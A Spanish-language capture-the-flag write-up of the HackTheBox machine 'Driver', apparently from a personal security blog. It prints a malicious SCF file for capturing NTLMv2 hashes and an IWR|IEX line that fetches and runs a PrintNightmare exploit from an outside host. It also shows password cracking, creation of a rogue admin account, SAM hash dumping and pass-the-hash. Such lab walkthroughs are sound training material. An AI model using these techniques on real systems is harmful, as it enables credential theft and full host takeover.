xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Driver



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos 4 puertos que son solo 3 servicios corriendo, http, smb y winrm

❯ nmap 10.10.11.106
Nmap scan report for 10.10.11.106  
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Dandole un vistazo a la pagina web podemos ver que nos pide autenticación

Sin embargo al probar credenciales por defecto este caso admin:admin entramos, y ahora podemos ver una página que nos habla de probar firmware de impresoras y tal


Shell - tony


En el apartado de Firmware Updates podemos ver un campo de carga de archivos, donde se nos pide subir el archivo de firmware para que alguien lo vea y lo testee

Nos dice que alguien va a revisarlo de forma manual, podemos crear un archivo scf para cuando alguien lo revise este cargue como icono un archivo almacenado en un servidor smb que montaremos, asi al conectarse al servicio se autenticará y por lo que podemos capturar el hash ntlmv2 del usuario que lo cargue

[Shell]
IconFile=\\10.10.14.10\kali\pwned.ico  

Creamos el servidor smb en el directorio actual dando soporte a smb de versión 2

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Guardamos el archivo malicioso con el nombre file.scf y lo subimos en la web

Al subirlo en la web recibimos en nuestro servidor el hash ntlmv2 del usuario tony

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:70eb5f848efe998ddcc3ce79b767dde5:010100000000000000326b87086bd90179eabf665cf8bf4900000000010010004d006f004e0075005000420063006d00030010004d006f004e0075005000420063006d0002001000730061004f006600540077005a00650004001000730061004f006600540077005a0065000700080000326b87086bd901060004000200000008003000300000000000000000000000002000008b69b25ebd7bc465fb5892f9136b5a95cbd83588e1d88e98a38188143fb96f4c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0033003300000000000000000000000000  
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:kali)

Guardamos el hash ntlmv2 de tony en un archivo llamado hash y con john aplicamos fuerza bruta para obtener la contraseña en texto plano

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash  
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony          (tony)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Con crackmapexec comprobamos que las credenciales son válidas para smb sin embargo al listar los recursos no tenemos privilegio de lectura en ninguno de ellos

❯ crackmapexec smb 10.10.11.106 -u tony -p liltony --shares
SMB         10.10.11.106      445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)  
SMB         10.10.11.106      445    DRIVER           [+] DRIVER\tony:liltony 
SMB         10.10.11.106      445    DRIVER           [+] Enumerated shares
SMB         10.10.11.106      445    DRIVER           Share           Permissions     Remark
SMB         10.10.11.106      445    DRIVER           -----           -----------     ------
SMB         10.10.11.106      445    DRIVER           ADMIN$                          Remote Admin
SMB         10.10.11.106      445    DRIVER           C$                              Default share
SMB         10.10.11.106      445    DRIVER           IPC$                            Remote IPC

Sin embargo al cambiar a winrm también son válidas y por lo que devuelve Pwn3d!

❯ crackmapexec winrm 10.10.11.106 -u tony -p liltony         
SMB         10.10.11.106      5985   DRIVER           [*] Windows 10.0 Build 10240 (name:DRIVER) (domain:DRIVER)  
HTTP        10.10.11.106      5985   DRIVER           [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106      5985   DRIVER           [+] DRIVER\tony:liltony (Pwn3d!)

Nos podemos conectar con evil-winrm y obtener una shell además de la flag

❯ evil-winrm -i 10.10.11.106 -u tony -p liltony
PS C:\Users\tony\Documents> whoami
driver\tony
PS C:\Users\tony\Documents> type ..\Desktop\user.txt  
e51**************************d87
PS C:\Users\tony\Documents>


Shell - Administrator


Si leemos el historial de powershell de nuestro usuario encontramos 3 comandos, 2 de ellos son ping y el otro es un comando para añadir una impresora

PS C:\Users\tony\Documents> type ..\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt  
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1
PS C:\Users\tony\Documents>

Con rpcdump podemos comprobar que esta corriendo el servicio spoolsv.exe

❯ impacket-rpcdump 10.10.11.106 | grep -E 'MS-RPRN|MS-PAR' -A1  
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Provider: spoolsv.exe
--
Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe

Buscando vulnerabilidades para ello encontramos un exploit para el CVE-2021-1675, aprovechamos la función upload de evil-winrm para subir el archivo ps1

PS C:\Users\tony\Documents> upload CVE-2021-1675.ps1

Info: Uploading CVE-2021-1675.ps1 to C:\Users\tony\Documents\CVE-2021-1675.ps1  

Data: 238080 bytes of 238080 bytes copied

Info: Upload successful!

PS C:\Users\tony\Documents>

Sin embargo al intentar importar el script nos devuelve un error diciendo que por politicas la ejecución de scripts esta deshabilitada en el sistema

PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.  
At line:1 char:1
+ Import-Module .\CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [Import-Module], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
PS C:\Users\tony\Documents>

Para pasar este filtro podemos iniciar compartiendo el archivo por un servicio http

❯ ls
 CVE-2021-1675.ps1

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  

Con IWR leemos el contenido del ps1 y lo ejecutamos con IEX

PS C:\Users\tony\Documents> IWR 10.10.14.10/CVE-2021-1675.ps1 | IEX  
PS C:\Users\tony\Documents>

Usamos su función Invoke-Nightmare para crear un usuario Administrador, nosotros podemos definir el usuario y contraseña, en este caso usare pwned:pwned

PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser pwned -NewPassword pwned
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"  
[+] added user pwned as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
PS C:\Users\tony\Documents>

Una vez ejecutado el exploit podemos comprobar que se creo el usuario pwned correctamente además que forma parte del grupo local Administrators

PS C:\Users\tony\Documents> net user pwned
User name                    pwned
Full Name                    pwned
Comment
User's comment
Country/region code          000 (System Default)  
Account active               Yes
Account expires              Never

Password last set            4/9/2023 5:48:42 PM
Password expires             Never
Password changeable          4/9/2023 5:48:42 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None

The command completed successfully.

PS C:\Users\tony\Documents>

Deberiamos poder conectarnos como el usuario pwned con evil-winrm, y ya que somos administratores podemos leer la flag de altos privilegios

❯ evil-winrm -i 10.10.11.106 -u pwned -p pwned
PS C:\Users\pwned\Documents> whoami
driver\pwned
PS C:\Users\pwned\Documents> type ..\..\Administrator\Desktop\root.txt  
41a2**************************89
PS C:\Users\pwned\Documents>

Si quisieramos obtener una shell como Administrator con secretsdump o en este caso crackmapexec podemos dumpear la sam y ver los hashes de todos los usuarios

❯ crackmapexec smb 10.10.11.106 -u pwned -p pwned --sam
SMB         10.10.11.106      445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)  
SMB         10.10.11.106      445    DRIVER           [+] DRIVER\pwned:pwned (Pwn3d!)
SMB         10.10.11.106      445    DRIVER           [+] Dumping SAM hashes
SMB         10.10.11.106      445    DRIVER           Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
SMB         10.10.11.106      445    DRIVER           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.106      445    DRIVER           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.106      445    DRIVER           tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::
SMB         10.10.11.106      445    DRIVER           pwned:1004:aad3b435b51404eeaad3b435b51404ee:7ba5d618fbd033271413101bf82b69bd:::
SMB         10.10.11.106      445    DRIVER           [+] Added 5 SAM hashes to the database

Podemos hacer un passthehash para conectarnos con evil-winrm proporcionando solo hash nt del usuario Administrator, obtenemos una shell como Administrator

❯ evil-winrm -i 10.10.11.106 -u Administrator -H d1256cff8b5b5fdb8c327d3b6c3f5017  
PS C:\Users\Administrator\Documents> whoami
driver\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
41a**************************289
PS C:\Users\Administrator\Documents>